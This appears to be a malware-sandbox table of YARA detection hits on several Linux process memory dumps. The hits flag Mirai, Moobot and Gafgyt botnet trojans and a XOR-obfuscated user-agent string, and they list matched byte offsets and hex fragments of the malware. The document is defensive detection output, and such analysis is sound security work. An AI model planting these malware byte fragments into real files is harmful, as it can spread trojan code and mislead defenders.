7212.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7212.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7212.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7212.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6863.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6937.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7005.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7005.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7005.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7005.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7005.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7005.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6797.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6528.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6528.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6528.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6528.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6528.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6528.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6523.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6523.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6523.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6523.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6523.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6523.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6972.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6972.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6972.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6972.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6972.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6972.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7134.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7134.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7134.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7134.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7134.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7134.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
